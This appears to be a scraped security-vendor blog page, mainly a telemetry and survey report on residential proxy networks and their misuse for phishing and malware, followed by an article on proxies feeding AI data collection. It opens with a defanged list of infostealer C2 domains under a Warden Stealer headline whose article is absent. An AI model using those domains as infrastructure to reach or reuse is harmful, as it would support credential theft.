<h3>Extracted Warden Stealer C2 Domains (Non-exhaustive)&nbsp;</h3>backtoblack7[.]com&nbsp; berff3788[.]com&nbsp; bobroviysmex[.]shop&nbsp; bomboclat[.]rest&nbsp; brodyagup[.]com&nbsp; culture-shock[.]club&nbsp; diseazhjw[.]cloud&nbsp; dojaekrt[.]cc&nbsp; dojaekrt[.]forum&nbsp; dojaekrt[.]trade&nbsp; erifytrtr1[.]vip&nbsp; ggresp[.]com&nbsp; hotelcalifornia[.]club&nbsp; hroffice[.]work&nbsp; incoming[.]rent&nbsp; jgkawdq[.]cloud&nbsp; kaiangelsystems[.]rest&nbsp; kaifdlyaw[.]com&nbsp; kaliop-weda[.]club&nbsp; konradkerz40000[.]work&nbsp; library2000[.]com&nbsp; luqiuid91[.]com&nbsp; macfilecloud8[.]com&nbsp; matie-bal[.]club&nbsp; modicontools[.]com&nbsp; nextlanding[.]net&nbsp; nweenwew234[.]cc&nbsp; patduggan[.]com&nbsp; pianolovers[.]club&nbsp; piska-sosidka-govno[.]asia&nbsp; plainhorizon[.]org&nbsp; publisher99[.]com&nbsp; rabbids-sixseven[.]cc&nbsp; recap-check[.]org&nbsp; rocks56[.]com&nbsp; rrrrrrrfffff[.]club&nbsp; russianaltushkawantdickinside[.]club&nbsp; sfgiantslive[.]com&nbsp; skibidiclipper[.]pw&nbsp; skibidiproliv[.]com&nbsp; skibidistealer[.]team&nbsp; systemformating[.]rest&nbsp; verifytrtr[.]vip&nbsp; vlad-nazarenko2004[.]club&nbsp; web03-azureupdate[.]com&nbsp; webex-028ue2[.]com&nbsp; wosback[.]cc&nbsp; zalupka[.]website&nbsp; zolotoy[.]club&nbsp; zxcwork[.]com&nbsp;

From Attribution to a Technical Breakdown of a Rust Infostealer

Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data

You install an app that offers a reward, a premium feature or perhaps a little money in exchange for sharing some of your unused internet bandwidth. It sounds harmless enough. Your connection is idle most of the time anyway.What may be less obvious is what that arrangement can mean in practice. Traffic from someone else can leave the internet through your home connection, using your residential IP address. To the website receiving that traffic, it can look as though the request came from you. And if that traffic is malicious or abusive, it is your home IP address that is associated with it.That is the basic idea behind a residential proxy. Businesses use them for perfectly legitimate purposes, from price monitoring and ad verification to web scraping and <a href="https://www.gendigital.com/blog/insights/research/the-ai-data-race">AI data collection</a>. But the model depends on something that is easy to overlook: every residential IP being sold has to belong to a real connection somewhere.We wanted to look at that side of the market.How many computers we protect are actually running software associated with residential proxy networks? Where are they? Which providers have the largest footprint? Are those residential proxy networks being misused?&nbsp;&nbsp;What kinds of threats are involved, and do they look the same from one provider to another?And before we looked at any of that, we asked an even more basic question: do people actually understand what they are agreeing to?

KEY TAKEAWAYS<ul type="disc"><li data-list-item-id="e725035ce634bc551d23eb087fcd37396">We blocked 20.8 million attacks associated with residential proxy ecosystems between January and mid-September 2026. Phishing was the most prominent threat classification, with 5.15 million blocked attacks, followed by 1.26 million involving malvertising.&nbsp;</li><li data-list-item-id="ec59d16726c7bd071fbc01940b1615690">The geography of malicious activity does not simply mirror the geography of residential proxy installations. The United States ranked only 10th in our September snapshot of active residential proxy software, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks.&nbsp;</li><li data-list-item-id="e98fe79ebb34c1567cb95df881e50cfc9">The residential proxy footprint we observe is highly concentrated. Bright Data, Hola and NetNut account for around 94% of the active provider footprint in our Windows telemetry, although their geographic distributions differ substantially.&nbsp;</li><li data-list-item-id="ed7cfcec5f4de647ba0c48381878a0edc">There is no single residential proxy threat profile. Some provider ecosystems are dominated by phishing and malvertising, while others show much stronger associations with droppers, file infectors, worms or trojans.&nbsp;</li><li data-list-item-id="ebf754ed261a74226c83755f05a864955">Most US consumers do not really understand what residential proxies do. Only 8.8% of respondents correctly identified how they work, while 17.2% said they currently use an app that rewards them for sharing unused bandwidth. Once the behavior was explained, 76.5% said they would be concerned about third parties routing traffic through their home connection.&nbsp;</li></ul>

<h2>We started with the machines</h2>Our installation telemetry identified software associated with 18 residential proxy providers on active Windows systems we protect. The first thing that stood out was concentration. Bright Data, whose customers include NBCUniversal, Deloitte, and McDonalds, had by far the largest footprint, with an estimated 1.47 million active users in our September snapshot. Hola followed with approximately 664,000, and NetNut with around 474,000. After those three, the numbers fall quickly: Honeygain was at about 68,000 active users and Infatica at roughly 56,000, while no other provider in our current dataset reached 11,000.Taken together, Bright Data, Hola and NetNut account for roughly 94% of the combined provider footprint we observed. These numbers give us a view of the supply side, the computers that can contribute residential connectivity to these networks.

The geography is just as interesting. India had the largest combined residential proxy footprint in our snapshot, with approximately 294,000 active user observations. Vietnam followed at around 177,000, Ukraine at 132,000, Brazil at 131,000 and the Philippines at 97,000. The United States ranked tenth, at approximately 56,000.Individual providers have very different geographic fingerprints. Bright Data appeared across 153 countries and territories, with its largest concentrations in India, Vietnam and Brazil. Hola was also led by India and Vietnam. NetNut looked very different: Ukraine accounted for around 60,000 active users associated with its software, followed by India at around 34,000. Honeygain was strongest in Brazil and the Philippines, while Infatica was led by Ukraine and India. Residential proxy providers may sell access to a global pool, but the capacity underneath each network is not distributed in the same way.

<h2>Windows is only one part of the picture</h2>Our telemetry deliberately focuses on identifiable applications running on Windows that are associated with residential proxy networks. It does not attempt to measure proxy SDKs embedded inside other applications, nor devices running Android, smart TVs, routers or other connected hardware. The footprint in this research should therefore be read as the part of the ecosystem we can measure consistently, not as its total size.That wider ecosystem is not theoretical. In 2026, researchers at Spur examined more than 6,000 apps for LG webOS and Samsung Tizen smart TVs and found residential proxy SDKs in roughly a third of them. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/">LG</a> and <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/">Samsung</a> subsequently moved to restrict or remove apps containing residential proxy functionality from their TV platforms.&nbsp;Mobile connectivity extends the ecosystem beyond the Windows applications covered in this research. Residential and mobile proxy infrastructure can also be built using SIM cards and banks of cellular modems, providing IP addresses from mobile networks rather than fixed broadband connections. There are more advanced ways of extracting additional usable addresses from mobile connectivity too, but that is an area we would want to research separately before drawing conclusions.What we see on Windows is therefore not the residential proxy ecosystem. It is one window into it.<h2>Then came the security question: what is flowing through these networks?</h2>The presence of malicious traffic does not mean that a residential proxy provider is responsible for that activity. Legitimate infrastructure is routinely abused by bad actors, and larger networks naturally provide more opportunities for misuse. Our data shows what we observed and blocked through these networks, not that the providers themselves generated or knowingly enabled the activity.Mapping the software tells us where part of the residential proxy supply comes from, but it does not tell us how the networks are being used. We therefore looked at malicious traffic our protections blocked from the residential proxy providers in the study between January and mid-September 2026.The total was 20.8M distinct blocked attacks. Bright Data alone was associated with 17.336,419 of them, affecting 771,159 protected users (computers running the residential proxy through which the malicious traffic was routed). That is about 83% of all provider-level blocked attacks in this dataset. Honeygain was a distant second by attack volume, with 1,265,540 blocked attacks affecting 51,271 users. NetNut was associated with 789,668 attacks affecting 663,426 users, Tuxler with 571,810 attacks across 19,184 users, and Hola with 406,415 across 170,577 users.Those numbers are not a ranking of which provider is 'most dangerous'. A larger network has more opportunities to appear in telemetry, and the installation snapshot and the attack data cover different periods.&nbsp;Even within the affected population, repetition varies sharply. Bright Data averaged about 22.5 distinct blocked attacks per protected user over the period, Honeygain about 24.7 and Tuxler about 29.8.<h2>Phishing leads overall, but the threat mix varies</h2>When we group the blocked activity by threat type, phishing is the most prominent classification by a wide margin, appearing in more than 5.15 million provider-category attack observations. Malvertising follows at about 1.26 million, then trojans at roughly 667,000. E-shop scams account for around 388,000 category observations, file infectors for about 329,000 and droppers for more than 173,000.These categories overlap. A single malicious event can trigger more than one classification, so the category figures must not be added together or presented as pieces of a 100% distribution.&nbsp;

Bright Data accounts for most of the phishing volume in absolute terms. We blocked almost 4.63 million phishing-classified attacks associated with the network, affecting 523,696 protected users. Roughly 68% of all users we protected from Bright Data-associated attacks encountered at least one phishing-classified event. Malvertising affected another 314,784 users, trojans 182,422 and e-shop scams 165,007.Honeygain and Tuxler show a similar concentration in phishing and other web-based threats. Phishing affected around 33,600 Honeygain users, close to two-thirds of its protected population, while Tuxler had phishing detections for more than 15,000 of its 19,184 protected users, around 80%.Hola and NetNut look very different. Hola's leading classifications were worms, trojans and file infectors, affecting approximately 54,000, 50,000 and 45,000 protected users respectively. With NetNut, droppers affected around 88,700 protected users and file infectors around 76,700, while phishing was comparatively limited. Microleaves/Shifter also showed a strongly file-oriented profile, led by file infectors, droppers and adware.That variation is one of the more useful findings in the data. 'Residential proxy abuse' is often discussed as a single category, but the traffic we block does not look homogeneous. Different provider ecosystems are associated with substantially different mixes of phishing, scams and malware.<h2>Where we blocked the attacks</h2>India recorded the largest volume of blocked attacks associated with residential proxy ecosystems in our country-level data, at about 1.76 million. Brazil followed at roughly 1.50 million, Vietnam at 1.32 million, the United States at 1.14 million and France at just under 990,000. The next group included the Philippines, Indonesia, Poland, Spain and Ukraine.The geography of malicious traffic does not simply follow the size of the residential proxy footprint. The United States and France stand out in particular. The US ranked only 10th in our September snapshot of active residential proxy installations, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks routed through residential proxy nodes there. France shows a similar pattern, with a relatively modest installation footprint but almost one million blocked attacks.One explanation is that residential IP addresses in Western markets are especially useful to attackers trying to blend in with the consumers or services they are targeting. Traffic coming from a US residential IP, for example, may look less unusual to a US service than the same request coming from a distant geography or a data center.&nbsp;

CASE STUDY: NETNUTWhat remains after a network is disruptedNetNut deserves separate treatment because events in 2026 changed the status of the network itself. NetNut is a subsidiary of Alarum Technologies, a publicly traded company listed on Nasdaq and the Tel Aviv Stock Exchange.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075116/ea029701101ex99-1.htm">On July 2, Alarum disclosed</a> that the FBI had seized domains associated with NetNut.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075179/ea029704201ex99-1.htm">Additional domains were subsequently seized, services were disrupted</a>, and Alarum later&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075170/ea029706002ex99-3.htm">announced a temporary pause</a> of traffic through the affected network services while it investigated the incident.<a href="https://cloud.google.com/blog/topics/threat-intelligence/google-continued-disruption-residential-proxy-networks">Google Threat Intelligence Group</a>, which took action in coordination with the FBI, Lumen and others, described NetNut as a residential proxy network also known as Popa. Google estimated it at least two million devices worldwide and said it observed 316 distinct threat clusters using suspected NetNut exit nodes during a single week in June, including cybercriminal and espionage groups. Google also said it had high confidence that many residential proxy brands were white-labeling the NetNut network.Legal and corporate consequences followed.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026089059/ea0301943-6k_alarum.htm">Alarum disclosed proceedings in Israel and a US class action complaint filed in New Jersey</a>. The company said it was reviewing the proceedings with its legal advisers and intended to defend itself vigorously. The claims in those proceedings are allegations, not established findings.Our telemetry adds a different piece to the story. In the first half of September, around two months after the law-enforcement action, we still observed software associated with NetNut on approximately 474,000 active Windows systems. At the same time, we did not observe corresponding NetNut proxy traffic from those installations. That is consistent with Alarum’s July announcement that traffic through the affected services had been paused.In other words, the software footprint remained, but the proxy activity did not. Domains can be seized quickly; software distributed across hundreds of thousands of computers does not disappear with them.

<h2>Confidence is much higher than understanding</h2>Against that telemetry, the results of our US survey become particularly revealing. In July 2026, we asked 1,000 adults what they knew about residential proxies and bandwidth sharing. At first glance, awareness did not look terrible: 13.9% said they understood what residential proxies were and how they worked, while another 13.2% said they had a basic idea. Combined, 27.1% believed they understood the technology to some degree.We then tested that understanding. Among the respondents who said they understood residential proxies, only 32.3% selected the correct explanation: that a residential proxy allows other people or companies to route internet traffic through a real user's home internet connection. Across the full sample, that leaves just 8.8% of US adults who both claimed some understanding and chose the correct definition.The terminology may be obscure, but the business model is more familiar. Some 17.2% of respondents said they currently use an app offering rewards, money, premium features or free access in exchange for sharing unused internet bandwidth, and another 12.2% said they had used one in the past. The survey was not designed to determine whether those specific apps were part of residential proxy networks, but the gap is striking: almost twice as many respondents said they currently use a bandwidth-sharing app as could correctly explain what a residential proxy does.

The mismatch becomes clearer when we describe the behavior rather than the industry term. Only 25.1% expected 'sharing unused bandwidth' to mean that other people or companies might access websites through their home IP address, while 26.0% understood that their device could appear to websites as the source of somebody else's internet activity. Almost a third, 31.6%, said they would not know what the phrase meant.When we asked how concerned people would be if an app allowed third parties to route internet traffic through their home connection, 76.5% said they would be very or somewhat concerned. Among that group, 55.5% worried about their home IP address being associated with suspicious or illegal activity, 51.5% about privacy, and 41.1% about accounts or services being blocked because suspicious traffic appeared to come from their IP address.Those fears line up closely with the reason residential proxies are useful in the first place. Traffic inherits the characteristics and reputation of an ordinary consumer connection. For legitimate customers, that can make large-scale data collection or geographic testing possible. For an attacker, the same property can make malicious activity harder to distinguish from normal residential traffic. Our telemetry does not tell us whether any particular survey respondent's connection was used that way, but the 20.8 million attacks we blocked show that malicious use of residential proxy infrastructure is far from theoretical.Asked whether they would install an app that allowed third parties to route traffic through their home connection in return for a small reward or free access, 53.4% said no. Another 26.7% said maybe, if the app was clear about what it did, and 20.0% said they definitely would. The survey covers US adults only, so these percentages should not be projected globally, but they underline a basic communication problem: 'share unused bandwidth' sounds very different from 'allow somebody else's traffic to leave the internet through your home IP address.'<h2>Consent, contracts and promises</h2>Residential proxy services have legitimate customers, and there are consumers who knowingly choose to exchange bandwidth for money, rewards or free services. The presence of residential proxy software on a machine, or even malicious traffic on a provider's network, does not by itself prove that a provider misled users or failed to enforce its policies.Consent is still more complicated than a checkbox. There may be a proxy customer, a proxy provider, an application developer embedding an SDK, the consumer whose device supplies the residential IP, and an internet service provider whose connection is ultimately being used. Each relationship can carry different promises and restrictions.Some residential ISP agreements, for example, explicitly restrict this kind of sharing. <a href="https://www.verizon.com/support/fios-customer-agreement/">Verizon's current Fios terms</a> state that subscribers may not resell, re-provision or rent the service, or allow third parties outside normal guest Wi-Fi use to use it, and tell customers they are responsible for opting out of connected-device features that would violate those terms. That does not mean residential proxy software automatically breaches an ISP contract; terms vary by provider, country and service. It does show that the consumer's click on an application consent screen may not be the only agreement that matters.The industry also makes broader promises around ethical sourcing, informed consent, customer vetting and abuse prevention. Those promises are increasingly becoming testable rather than purely rhetorical. In July, the <a href="https://www.amtso.org/news/amtso-testing-app-promises-guideline-paper-preprint-for-public-review/">Anti-Malware Testing Standards Organization, AMTSO, published a draft framework</a> for testing the explicit and implied promises made by applications and services. The draft has completed public review and is moving through final approval.Residential proxies are one of the <a href="https://www.amtso.org/wp-content/uploads/2026/07/AMTSO_App_Promises_Testing_Guidelines_Draft_For_Review.pdf">worked examples in the draft</a>. It specifically discusses testing claims around sourcing and consent, preventing abuse and misuse, protecting the consumer endpoint, and the fact that the paying proxy customer is not the same person as the consumer whose device or connection is being used. Gen participated in the working group that produced the draft.Our research is not a compliance test against that framework, and the presence of malicious activity is not evidence by itself that a provider has broken a promise. What our data does show is why those promises deserve scrutiny. When a business depends on millions of residential IP addresses and sells access to third parties, questions about where those endpoints came from, what users agreed to and what controls are in place are part of the security model, not just the marketing.<h2>Trust is no longer enough</h2>Residential proxies are not going away. If anything, the demand for them is likely to grow as AI companies, data businesses and automated agents need more ways to access the public web at scale without every request coming from a data center.That makes the questions around these networks more important, not less.A residential proxy provider can say that its endpoints are ethically sourced, that users have consented, that customers are vetted and that abuse is controlled. Those are reasonable promises to make. But once a network reaches millions of devices and carries traffic on this scale, they should also become promises that can be independently tested.Our data does not show that residential proxy networks are inherently malicious. It shows something more useful: legitimate infrastructure can still carry a substantial amount of malicious activity, the threat profile can vary enormously from one network to another, and the people supplying the residential connections often understand far less about the technology than the industry around them does.That creates responsibilities on both sides of the market.Customers buying residential access should care about where those IP addresses came from and what controls exist around the network they are using. Providers should be able to demonstrate how endpoints are sourced, what users agreed to, how abuse is detected and what happens when those controls fail. And consumers should be told, in language they can actually understand, what it means when an application asks them to "share unused bandwidth."The residential proxy industry has spent years making it easier to buy access to someone else's IP address.The next challenge is proving that everyone involved understands, and can trust, what happens after that access is sold.<h2>Methodology</h2><h3>Installation telemetry</h3>Gen Threat Labs developed telemetry to identify Windows software associated with selected commercial residential proxy providers. The installation data used in this research covers active systems observed between September 1 and September 15, 2026.The figures in the article are active-user populations derived from Gen telemetry. A computer had to be active and connected during the observation period to appear. User counts in the provider, software-path and country views used in the analysis are deduplicated within those views.The installation data represents the Gen Windows user population. It should not be interpreted as a census of every residential proxy endpoint worldwide or as a measure of commercial market share.Disclosure: Gen uses Bright Data proxy and browser infrastructure in some privacy and reputation services. Bright Data had no involvement in this research, and the findings are based on Gen Threat Labs telemetry and security detections.<h3>Malicious traffic</h3>The malicious-traffic analysis covers January through mid-September 2026 and focuses on attacks associated with the residential proxy providers included in the study.Protected users are unique users for whom Gen blocked at least one attack associated with a provider. Blocked attacks are deduplicated at the malicious-event level, so multiple detections triggered by the same event do not inflate the provider-level total.For the geographic view of malicious activity, country refers to the location of the residential proxy exit node.&nbsp;<h3>Appendix: Key telemetry data</h3>Installation telemetry in this appendix refers to Gen-protected Windows users on whose devices we observed software associated with residential proxy providers during the research period. These figures are not provider-reported user or installation counts.

A. Largest residential proxy provider footprints<table class="table"><tbody><tr><td>Provider</td><td>Active users</td></tr><tr><td>Bright Data</td><td>1.47M</td></tr><tr><td>Hola</td><td>664K</td></tr><tr><td>NetNut</td><td>474K</td></tr><tr><td>Honeygain</td><td>68K</td></tr><tr><td>Infatica</td><td>56K</td></tr><tr><td>SOAX</td><td>10K</td></tr><tr><td>IPRoyal</td><td>7.9K</td></tr><tr><td>Tuxler</td><td>6.3K</td></tr><tr><td>PacketStream</td><td>5.3K</td></tr><tr><td>TraffMonetizer</td><td>3.0K</td></tr></tbody></table>B. Countries with the largest combined residential proxy footprint<table class="table"><tbody><tr><td>Country</td><td>Active user observations</td></tr><tr><td>India</td><td>294K</td></tr><tr><td>Vietnam</td><td>177K</td></tr><tr><td>Ukraine</td><td>132K</td></tr><tr><td>Brazil</td><td>131K</td></tr><tr><td>Philippines</td><td>97K</td></tr><tr><td>Indonesia</td><td>89K</td></tr><tr><td>Poland</td><td>74K</td></tr><tr><td>Thailand</td><td>62K</td></tr><tr><td>Mexico</td><td>57K</td></tr><tr><td>United States</td><td>56K</td></tr></tbody></table>&nbsp;C. Leading install countries by provider<table class="table"><tbody><tr><td>Provider</td><td>No. 1</td><td>No. 2</td><td>No. 3</td></tr><tr><td>Bright Data</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>Hola</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>NetNut</td><td>Ukraine</td><td>India</td><td>Kazakhstan</td></tr><tr><td>Honeygain</td><td>Brazil</td><td>Philippines</td><td>India</td></tr><tr><td>Infatica</td><td>Ukraine</td><td>India</td><td>Philippines</td></tr><tr><td>SOAX</td><td>Uzbekistan</td><td>Kazakhstan</td><td>South Korea</td></tr><tr><td>IPRoyal</td><td>France</td><td>Netherlands</td><td>Belgium</td></tr><tr><td>Tuxler</td><td>Poland</td><td>Argentina</td><td>United Kingdom</td></tr><tr><td>PacketStream</td><td>India</td><td>Dominican Republic</td><td>Brazil</td></tr><tr><td>TraffMonetizer</td><td>Argentina</td><td>Philippines</td><td>Hong Kong</td></tr></tbody></table>&nbsp;D. Blocked attacks by provider ecosystem, top 5<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Blocked attacks</td></tr><tr><td>Bright Data</td><td>17.3M</td></tr><tr><td>Honeygain</td><td>1.27M</td></tr><tr><td>NetNut</td><td>790K</td></tr><tr><td>Tuxler</td><td>572K</td></tr><tr><td>Hola</td><td>406K</td></tr></tbody></table>Absolute attack volume is influenced by network size and should not be interpreted as a ranking of provider risk.E. Most common threat classifications<table class="table"><tbody><tr><td>Threat category</td><td>Blocked attack observations</td></tr><tr><td>Phishing</td><td>5.15M</td></tr><tr><td>Malvertising</td><td>1.26M</td></tr><tr><td>Trojan</td><td>667K</td></tr><tr><td>Miscellaneous</td><td>408K</td></tr><tr><td>E-shop scam</td><td>388K</td></tr><tr><td>File infector</td><td>329K</td></tr><tr><td>Dropper</td><td>173K</td></tr><tr><td>Generic scam</td><td>113K</td></tr><tr><td>Worm</td><td>66K</td></tr><tr><td>Financial scam</td><td>47K</td></tr></tbody></table>&nbsp;F. Leading threat types by provider ecosystem<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Leading type</td><td>Second</td><td>Third</td></tr><tr><td>Bright Data</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Honeygain</td><td>Phishing</td><td>Malvertising</td><td>E-shop scam</td></tr><tr><td>NetNut</td><td>Dropper</td><td>File infector</td><td>Trojan</td></tr><tr><td>Tuxler</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Hola</td><td>Worm</td><td>Trojan</td><td>File infector</td></tr><tr><td>Microleaves / Shifter</td><td>File infector</td><td>Dropper</td><td>Adware</td></tr><tr><td>IPRoyal</td><td>Phishing</td><td>E-shop scam</td><td>Malvertising</td></tr><tr><td>ByteLixir</td><td>Phishing</td><td>E-shop scam</td><td>Trojan</td></tr><tr><td>Infatica</td><td>Phishing</td><td>Spyware</td><td>File infector</td></tr></tbody></table>Types are ordered by the number of protected users associated with each classification.&nbsp;G. Countries with the largest volume of blocked attacks<table class="table"><tbody><tr><td>Country</td><td>Blocked attacks</td></tr><tr><td>India</td><td>1.76M</td></tr><tr><td>Brazil</td><td>1.50M</td></tr><tr><td>Vietnam</td><td>1.32M</td></tr><tr><td>United States</td><td>1.14M</td></tr><tr><td>France</td><td>988K</td></tr><tr><td>Philippines</td><td>774K</td></tr><tr><td>Indonesia</td><td>691K</td></tr><tr><td>Poland</td><td>519K</td></tr><tr><td>Spain</td><td>518K</td></tr><tr><td>Ukraine</td><td>481K</td></tr></tbody></table>&nbsp;

Inside the hidden supply chain of residential proxies

Your IP, Their Traffic 

An ordinary home connection can now form part of a much larger data collection network, sometimes through an app installed for a completely different reason.&nbsp;AI models were first associated with enormous collections of text, but today's systems need far more: current search results, product catalogues, images, music, video, live websites and almost anything else that can make them more capable or keep their answers up to date. Training is only part of the demand. Shopping assistants, research tools and other AI agents need to return to the web continuously if they are to work with current information.&nbsp;Collecting all of that data is not straightforward. Website operators impose rate limits, block known datacenter addresses and use anti-bot systems to identify automated activity. A crawler operating from a cloud server is relatively easy to spot. Traffic coming from an ordinary home connection is much harder to reject without also blocking legitimate visitors.&nbsp;Residential proxy networks offer a way around those controls by routing requests through IP addresses assigned to real households. The website sees what appears to be an ordinary visitor in a particular country, city or network, which is precisely what makes the connection valuable to the buyer.&nbsp;The person paying for that connection may see a very different proposition: install an app, share some "unused bandwidth" and receive money, rewards or free access in return. The screen may explain that the app will use spare resources, but say little about who will use the connection, which websites they will visit or why a residential IP address is worth paying for.&nbsp;

<h2>Why AI companies want residential IP addresses&nbsp;</h2>Once an AI product depends on live information, web access becomes part of the product itself. A shopping assistant is of limited use if it cannot see today's prices and stock, while a research agent has to open pages and follow links as it works. The same problem applies to systems handling audio, images and video.&nbsp;Many websites do not welcome automated collection at that scale. They throttle repeated requests, challenge suspicious sessions and block addresses associated with data centers or known automation. Residential proxies spread those requests across household connections, making them much harder to separate from normal browsing.&nbsp;This is no longer a niche use case hidden in technical documentation. Several large proxy providers now give AI its own product pages, integrations and commercial programmes.&nbsp;<a href="https://brightdata.com/ai/web-access" target="_blank" rel="noreferrer noopener">Bright Data</a> promotes infrastructure for model training, retrieval, multimodal datasets and web access for AI agents. It claims access to more than 400 million residential IP addresses and presents its services as a way to overcome CAPTCHAs, rate limits and blocked requests.&nbsp;<a href="https://oxylabs.io/solutions/ai-web-search" target="_blank" rel="noreferrer noopener">Oxylabs</a> sells proxy and scraping infrastructure for real-time AI search and agents, while <a href="https://soax.com/use-cases/ai-datasets" target="_blank" rel="noreferrer noopener">SOAX</a> recommends rotating residential proxies for collecting product data, prices, listings and AI training sets. <a href="https://decodo.com/data-ai-training" target="_blank" rel="noreferrer noopener">Decodo</a> markets residential proxies and scraping tools for AI training and live agents. <a href="https://iproyal.com/use-cases/ai-training/" target="_blank" rel="noreferrer noopener">IPRoyal</a> describes rotating residential proxies as infrastructure for large-scale AI data collection.&nbsp;The network sizes are the companies' own figures and should be read as marketing claims rather than independent measurements. Even so, the pitch across the industry is remarkably consistent: household IP addresses help automated systems reach websites that resist datacenter traffic.&nbsp;The Suno leak offered a rare look at how this can work from the customer's side. <a href="https://ddosecrets.org/article/suno-ai-source" target="_blank" rel="noreferrer noopener">Distributed Denial of Secrets</a> published more than 100 repositories attributed to the AI music company, saying the material showed that Suno collected music and related information from YouTube, Genius and Deezer with assistance from Bright Data. <a href="https://www.404media.co/hack-reveals-suno-ai-music-generator-scraped-youtube-deezer-and-genius/" target="_blank" rel="noreferrer noopener">404 Media</a> reported that one file referred to 2,013,545 YouTube Music clips, while comments in other files described datasets containing hundreds of thousands of hours of audio.&nbsp;<h2>How household connections enter the supply chain&nbsp;</h2>A residential network can only offer household IP addresses if real devices supply them. Some people deliberately install bandwidth-sharing or "passive income" tools. In other cases, the proxy component sits inside a free app whose visible purpose has nothing to do with routing somebody else's traffic.&nbsp;<a href="https://spur.us/blog/smart-tv-apps-residential-proxy-sdks" target="_blank" rel="noreferrer noopener">Spur Intelligence</a> scanned 6,038 applications across LG webOS and Samsung Tizen and reported residential proxy functionality in 2,058 of them. The list included games, screensavers and utilities, exactly the sort of apps someone could install without expecting the television to become part of a commercial proxy network.&nbsp;Televisions are useful proxy nodes because they remain online for long periods and few people inspect what is running in the background. Someone may accept a prompt once, forget about it and continue using the television while the proxy component remains active. <a href="https://www.mnemonic.io/resources/blog/samsungs-recommendation-rent-out-your-tvs-internet-connection/" target="_blank" rel="noreferrer noopener">Researchers at Mnemonic</a> found that, once enabled, the Bright Data SDK in some Samsung apps activated a background service that continued running after the user navigated away from the app.&nbsp;The television manufacturers have since responded. <a href="https://krebsonsecurity.com/2026/07/lg-to-ban-residential-proxies-from-smart-tv-apps/" target="_blank" rel="noreferrer noopener">LG</a> said it would suspend webOS apps whose developers failed to remove residential proxy functionality. <a href="https://techcrunch.com/2026/08/03/samsung-bans-smart-tv-apps-that-share-users-internet-connections-with-strangers/" target="_blank" rel="noreferrer noopener">Samsung</a> has restricted new app registrations containing proxy components, is introducing a platform-wide ban on residential proxy SDKs and says it is identifying and removing existing apps that contain them.&nbsp;Whatever an individual consent screen may say, these companies have decided that residential proxy functionality does not belong in apps distributed through their smart TV platforms.&nbsp;<h2>What "unused bandwidth" does not tell you&nbsp;</h2>The phrase sounds harmless. Most people will understand it as capacity that is sitting idle, not as permission for paying customers to visit websites through their IP address.&nbsp;That IP address is what gives the connection its commercial value. It allows a proxy customer to make requests that websites see as coming from a household rather than a datacenter. Describing the arrangement only in terms of bandwidth leaves out the part that buyers are actually paying for.&nbsp;The amount of traffic can also be difficult to judge from a consent screen. In the Petflix Roku app, the screen said Bright Data would <a href="https://blog.includesecurity.com/2026/06/the-smart-tv-in-your-livingroom-is-a-node-in-the-aiscraping-economy/" target="_blank" rel="noreferrer noopener">"occasionally" use the device's free resources</a> and IP address to download public web data. Include Security found that the SDK's publicly accessible configuration set a maximum of 200 GB of Wi-Fi traffic per month. That setting does not tell us how much data a typical device transferred, but it does show how little the word "occasionally" tells the person being asked to agree.&nbsp;<h2>Residential proxy networks also carry malicious traffic&nbsp;</h2>Fraudsters use the same infrastructure for phishing, malicious advertising, automated account activity and malware distribution.&nbsp;In our <a href="https://www.gendigital.com/blog/insights/research/residential-proxies" target="_blank" rel="noreferrer noopener">previous research</a>, Gen telemetry recorded 7.4 million malicious incidents associated with residential proxy traffic since January 2026, affecting 572,000 users. Phishing and malicious advertising were the largest categories, followed by e-shop scams, financial scams and malware.&nbsp;Those figures do not measure the whole residential proxy market, and they do not mean that every affected user was running a proxy node. They cover malicious activity associated with residential proxy traffic that reached people protected by our products.&nbsp;When abusive traffic exits through a household connection, that address may be the first identifier seen by the outside world. The customer can stop using the proxy, but blocks or suspicion may remain attached to the household connection.&nbsp;<h2>What informed consent would require&nbsp;</h2>Residential proxy providers say their networks are ethically sourced and based on user consent. <a href="https://brightdata.com/trustcenter/sourcing" target="_blank" rel="noreferrer noopener">Bright Data</a>, for example, says devices join its network only after users agree through an approved app and consent screen.&nbsp;A user may click "accept" knowing that an app will use spare bandwidth and still have no idea that companies will route automated traffic through the connection. They may never be told that the traffic could involve AI training, web scraping or software agents visiting sites at scale.&nbsp;The consent screen should say that third parties will access websites through the user's home IP address. It should explain the main categories of use, show when the proxy is active and make it possible to switch the function off without losing control of the rest of the app. Users should also be told how much data the software is allowed to consume.&nbsp;Residential proxies do have legitimate uses, including ad verification, price comparison and testing how services appear in different locations. AI developers also need current public information. In any case, those uses do not justify vague consent.&nbsp;People do not need to know the term “residential proxy.” They do need to know that third parties may route traffic through their home connection, that websites will see their IP address, and how much data the software is allowed to consume. That should be clear before they click accept, not buried in terms they are unlikely to read.&nbsp;Calling it “unused bandwidth” does not change what the buyer is purchasing: access to a household IP address.&nbsp;

Residential proxy providers sell household IP access for AI data collection, but many users do not understand what that access involves. 

Is Your Home Internet Feeding the AI Data Race? 

Threat Analysis Engineer

